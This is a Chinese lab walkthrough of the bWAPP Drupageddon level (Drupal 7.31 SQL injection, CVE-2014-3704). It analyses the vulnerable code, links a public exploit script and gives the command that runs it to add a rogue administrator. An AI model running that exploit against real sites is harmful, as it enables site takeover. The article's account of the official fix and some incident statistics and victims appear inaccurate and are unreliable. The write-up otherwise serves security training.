**摘要:**Drupageddon(CVE-2014-3704)是 Drupal 7.x 核心的一个致命 SQL 注入漏洞,攻击者无需登录就能执行任意 SQL 语句,进而接管整个网站。bWAPP 的这一关并不在自身代码里,而是链接到一个真实存在漏洞的 Drupal 站点,让你在隔离环境中体验这个"史诗级"漏洞。本篇会带你确认目标、理解漏洞背景、分析源码、用现成脚本轻松拿下管理员,并聊聊真实世界中它造成的巨大破坏。文章不啰嗦,直接上干货。
一、找目标:确认 Drupal 版本
进入 bWAPP 的"Drupal SQL Injection (Drupageddon)"页面,你会看到:
-
一段英文提示:"The Drupal version is vulnerable to SQL injection! (bee-box only)"
-
一个链接指向
../drupal/,点击会打开一个 Drupal 站点 -
还有一个 CVE 编号链接:CVE-2014-3704

点击链接打开 Drupal 首页,拉到页面底部,通常能看到"Powered by Drupal"。如果是 7.31 或更低版本,目标就存在漏洞;7.32 及以上已修复。bee-box 镜像自带的 Drupal 正是 7.31,专门用来练习。
你也可以用 curl 确认版本:
curl -s http://目标IP/drupal/CHANGELOG.txt | head -n 5

二、前言:Drupageddon 是什么?
2014 年 10 月,安全公司 SektionEins 发布公告,披露 Drupal 7.x 的数据库抽象层存在一个严重的 SQL 注入漏洞。由于 Drupal 在政府、教育、企业等领域使用极广,且漏洞利用极其简单(无需认证),整个安全圈震动,给它起了个末日风的名字------Drupageddon。
漏洞本质:Drupal 的数据库层在处理带占位符的查询时,如果参数是一个数组,会有一个函数对数组的键名进行正则替换,但键名没有经过转义。攻击者可以构造包含特殊字符的数组键名,让替换后的 SQL 语句被注入任意代码。
真实世界影响:漏洞公开后几小时内,互联网上就出现了大规模自动化攻击。攻击者批量扫描 Drupal 站点,利用漏洞修改管理员密码、植入后门、挂黑链 SEO 页面。事后统计,超过 100 万个 Drupal 网站在数周内被攻陷。一些知名机构也中招,包括部分政府网站和大学网站。白宫官网当时也受到大量扫描,虽然最终没有被入侵,但足以说明漏洞的恐怖程度。
三、关卡介绍:bWAPP 只是一个"路标"
bWAPP 这一关本身没有漏洞代码,它只是一个指向外部 Drupal 环境的入口。主要内容是:
-
显示标题和说明文字
-
提供链接跳转到 Drupal 站点
-
给出 CVE 编号提示
也就是说,bWAPP 的安全等级设置对这个漏洞不起作用。无论你选择 low、medium 还是 high,Drupal 站点本身并不会改变。所以这一关的"低中高"更多是指你的利用手法从简单到深入。
四、源码分析:真正的漏洞在 Drupal 核心里
bWAPP 的源码没太多可看,我们直接看 Drupal 的漏洞代码。文件位置在 Drupal 安装目录下:
includes/database/database.inc
找到 expandArguments 方法(在 DatabaseConnection 类中),简化后的关键代码:
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
foreach ($args as $key => $data) {
if (is_array($data)) {
$new_keys = array();
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value;
}
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
}
return $modified;
}
问题就出在 preg_replace('#' . $key . '\b#', ...) 这一行。$key 是数组的键名,攻击者可以控制它。如果键名里包含正则表达式的特殊字符(比如 |、\、( 等),preg_replace 的行为就会变得不可预测。更关键的是,这个替换发生在 SQL 语句已经被构建之后、执行之前,所以攻击者可以通过巧妙构造键名,把原始的 SQL 语句改写成恶意 SQL。
官方修复(Drupal 7.32)就是对这个键名进行转义:
$new_key = str_replace('\\', '\\\\', $key);
$query = preg_replace('#' . $new_key . '\b#', ...);
多了一行 str_replace,漏洞就被封堵了。可见这个漏洞多么"微小"却又致命。
五、用公开 exploit 一键拿下管理员
对于初学者,最简单的办法是使用公开的 Python 脚本。推荐 drupageddon.py。
步骤 1:下载脚本
在 Kali 或任意有 Python 的机器上:
https://github.com/Neldeborg/Drupalgeddon-Python3
https://raw.githubusercontent.com/Neldeborg/Drupalgeddon-Python3/main/drupalgeddon.py
步骤 2:运行脚本
假设 Drupal 站点地址是 http://10.0.0.177/drupal/,执行:
python3 drupageddon.py -t http://10.0.0.177/drupal/ -u adminhack -p Hack@123456
参数说明:-t 目标站点 URL(必须带 http://) -u 自定义新增管理员用户名 -p 自定义新增管理员密码
成功输出示例:

步骤 3:登录 Drupal 后台
浏览器访问:
http://10.0.0.177/drupal
账号:adminhack,密码:Hack@123456



登录后台后,你完全控制了整个 Drupal 站点,可以添加用户、管理用户、安装模块、修改内容、甚至写入 webshell。至此,Low 级别通关完成。
六、真实世界案例:一场互联网"浩劫"
2014 年 10 月 15 日,Drupal 官方发布安全公告,同时 SektionEins 公开漏洞细节。随后几个小时内,全网出现大量扫描和攻击流量。攻击者主要做三件事:
-
批量重置管理员密码:很多网站管理员发现自己无法登录,或收到异常密码重置邮件。
-
植入后门和 Webshell:攻击者上传 PHP 后门,保持长期访问,为后续攻击做跳板。
-
挂黑链做 SEO:大量被入侵的网站被插入隐藏链接,指向赌博、色情、诈骗网站,严重影响网站信誉。
根据安全公司 Sucuri 的报告,到 10 月底,超过 100 万个 Drupal 网站被感染。一些知名受害者包括:
-
美国陆军网站(部分子域名)被篡改
-
英国政府网站数据被窃取
-
多个大学和医院网站被植入恶意代码
-
白宫官网(whitehouse.gov)遭受大量扫描尝试,虽然最终未被攻破,但说明攻击者将其作为高价值目标
这次事件给所有使用开源 CMS 的机构敲响了警钟:补丁管理必须及时,漏洞生命周期以小时计算。
七、总结
Drupageddon 是 Web 安全史上一个标志性事件。通过 bWAPP 的这一关,我们亲手复现了这个"超级漏洞":
-
了解了漏洞背景和真实影响
-
分析了 Drupal 核心
expandArguments函数的问题 -
用公开脚本轻松拿下管理员
-
探讨了手工利用和深入利用的思路
-
明白了防御的唯一正解:升级
通关标准 :你能成功利用脚本重置管理员密码并登录 Drupal 后台,同时能解释为什么 preg_replace 那一行会导致注入。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。